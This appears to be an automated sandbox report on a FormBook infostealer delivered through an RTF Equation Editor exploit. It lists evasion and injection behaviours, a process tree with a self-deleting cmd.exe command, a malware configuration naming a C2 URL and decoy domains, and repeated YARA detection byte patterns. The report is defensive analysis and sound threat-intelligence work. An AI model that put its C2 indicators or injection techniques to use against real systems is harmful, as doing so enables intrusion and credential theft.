Edit tour

Windows Analysis Report
SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf

Overview

General Information

Sample Name:	SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf
Analysis ID:	1345774
MD5:	db71e76c281983819c7259fd25618513
SHA1:	cfbeb69bdcf67546aafabb4dfe72ad4cbec77ec3
SHA256:	ddbd4b7c13d365eb339aad4d0e2deb0dff4b50287d5111f57ca8756f3746f940
Tags:	rtf
Infos:

Detection

FormBook, NSISDropper

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: EQNEDT32.EXE connecting to internet

Yara detected NSISDropper

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Snort IDS alert for network traffic

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Sigma detected: File Dropped By EQNEDT32EXE

Multi AV Scanner detection for domain / URL

Maps a DLL or memory area into another process

Office equation editor drops PE file

Tries to detect virtualization through RDTSC time measurements

Sample uses process hollowing technique

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Modifies the prolog of user mode functions (user mode inline hooks)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Queues an APC in another process (thread injection)

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Office equation editor establishes network connection

Found decision node followed by non-executed suspicious APIs

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

Abnormal high CPU Usage

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Potential document exploit detected (unknown TCP traffic)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Uses a Windows Living Off The Land Binaries (LOL bins)

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to shutdown / reboot the system

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Stores large binary data to the registry

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to call native functions

Potential document exploit detected (performs DNS queries)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Office Equation Editor has been started

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Potential document exploit detected (performs HTTP gets)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 2408 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 1668 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

word.exe (PID: 3148 cmdline: C:\Users\user\AppData\Roaming\word.exe MD5: B08C02AB269D1406728178E62017C3D4)

twbcaze.exe (PID: 3164 cmdline: "C:\Users\user\AppData\Local\Temp\twbcaze.exe" MD5: 9C416E56B341D900E2DFEC7595CC85EE)

twbcaze.exe (PID: 3172 cmdline: C:\Users\user\AppData\Local\Temp\twbcaze.exe MD5: 9C416E56B341D900E2DFEC7595CC85EE)

explorer.exe (PID: 1244 cmdline: C:\Windows\Explorer.EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

cmstp.exe (PID: 3216 cmdline: C:\Windows\SysWOW64\cmstp.exe MD5: 00263CA2071DC9A6EE577EB356B0D1D9)

cmd.exe (PID: 3240 cmdline: /c del "C:\Users\user\AppData\Local\Temp\twbcaze.exe" MD5: AD7B9C14083B52BC532FBA5948342B98)

EQNEDT32.EXE (PID: 3340 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/ https://asec.ahnlab.com/en/32149/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.guimisha.com/t2ti/"], "decoy": ["j6y.lat", "kindlekidz.com", "studio352events.com", "merelweb.com", "6061k.vip", "iuk242.com", "tiltedjava.net", "importmotorshickory.com", "codinnotech.com", "foodapartcupboardscript.click", "donovanmanuel.store", "michealwilshire.online", "clawenterprises.net", "spacecargo.net", "duadqps.com", "allamericanshuttlellc.com", "shucaimh.com", "qivovrj.com", "infynite1.net", "albertcolet.com", "millennium-project.net", "fxzx01.icu", "motenm.com", "cloudsolution.site", "buddyurns.com", "vxjmolopbsma.com", "cleanwipe.shop", "serviamcounseling.com", "brandonjamescreative.com", "ricohdealers.com", "fixthecat.com", "sanqiantongpao.com", "techsterverse.life", "gzshbsh.net", "abbeyannieretreat.com", "zzw.bet", "alishopogolic.com", "whoops.store", "tike-taka.com", "kaaatieharvey.com", "eresloquebebes.com", "saferspaces.net", "maxwebmarketingdigital.com", "90phutv.live", "prescribedaddiction.com", "office-honu.com", "maquibotanic.com", "www32561b.com", "allsectors.net", "hhmhhhbh.xyz", "werks.dev", "ssongg10292.cfd", "lezhiyunfu.net", "xazeyu.net", "millennialsbloghub.com", "hupkeo.link", "doconomist.net", "onlygiftkits.com", "earthdatascape.com", "3gnz.com", "janenas.top", "shoes-fl.com", "xdeh02h.xyz", "smartsettlesolutions.com"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x82:$obj2: \objdata 0x68:$obj3: \objupdate 0x43:$obj6: \objlink

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000002.881171114.0000000008CBE000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_772cc62d	unknown	unknown	0xae2:$a2: pass 0xae8:$a3: email 0xaef:$a4: login 0xaf6:$a5: signin 0xb07:$a6: persistent 0xcda:$r1: C:\Users\user\AppData\Roaming\5P0B6OAU\5P0log.ini
00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.353557579.0000000000230000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_NSISDropper	Yara detected NSISDropper	Joe Security
00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmp	JoeSecurity_NSISDropper	Yara detected NSISDropper	Joe Security
00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: twbcaze.exe PID: 3164	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6f97c:$a1: 3C 30 50 4F 53 54 74 09 40
Process Memory Space: twbcaze.exe PID: 3172	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x1a6:$a1: 3C 30 50 4F 53 54 74 09 40 0x2b595:$a1: 3C 30 50 4F 53 54 74 09 40
Process Memory Space: cmstp.exe PID: 3216	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x17d:$a1: 3C 30 50 4F 53 54 74 09 40 0x6b890:$a1: 3C 30 50 4F 53 54 74 09 40 0x6e961:$a1: 3C 30 50 4F 53 54 74 09 40
Click to see the 36 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.2.twbcaze.exe.400000.1.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
7.2.twbcaze.exe.400000.1.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
7.2.twbcaze.exe.400000.1.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x5451:$a1: 3C 30 50 4F 53 54 74 09 40 0x1bd80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9bbf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x14aa7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
7.2.twbcaze.exe.400000.1.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aae7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1baea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
7.2.twbcaze.exe.400000.1.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
7.2.twbcaze.exe.400000.1.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
7.2.twbcaze.exe.400000.1.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
7.2.twbcaze.exe.400000.1.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
7.2.twbcaze.exe.400000.1.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
7.2.twbcaze.exe.400000.1.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
6.2.twbcaze.exe.250000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.twbcaze.exe.250000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
6.2.twbcaze.exe.250000.0.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
